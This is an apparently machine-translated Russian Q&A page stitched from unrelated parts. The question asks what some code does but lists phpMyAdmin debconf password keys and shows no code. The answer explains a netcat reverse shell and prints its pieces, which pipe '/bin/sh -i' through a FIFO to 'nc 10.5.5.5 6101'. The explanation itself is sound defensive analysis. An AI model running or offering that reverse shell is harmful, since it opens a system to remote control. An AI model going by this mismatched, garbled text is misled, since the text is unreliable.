Что на самом деле делает этот код?

Я проверил и могу подтвердить:

  • phpmyadmin/mysql/admin-pass— пароль корневой учетной записи mysql
  • phpmyadmin/mysql/app-passphpmyadmin/app-password-confirm)— пароль учетной записи phpmyadmin@localhost

Думаю, (, но у меня нет доказательств ), что:

  • phpmyadmin/password-confirmсовпадает сphpmyadmin/app-password-confirm
  • phpmyadmin/setup-password— пароль учетной записи debian-sys-maint
0
18.03.2020, 12:44
1 ответ

Это устанавливает удаленно -управляемую оболочку в системе. Входы и выходы следующие:

  • cat /tmp/mчитает из /tmp/mFIFO и записывает в...
  • |/bin/sh -i 2>&1который выполняет команды, которые он читает, и отправляет свой вывод (как стандартный вывод, так и стандартную ошибку )в...
  • |nc 10.5.5.5 6101который подключается к 10.5.5.5 :6101 и пишет в
  • >/tmp/mФИФО.

Таким образом, удаленная система может передавать команды, которые передаются через nc, записываются в FIFO, считываются cat, интерпретируются sh, а выходные данные этих команд отправляются обратно в удаленную систему через nc.

4
28.04.2021, 23:20

Теги

Похожие вопросы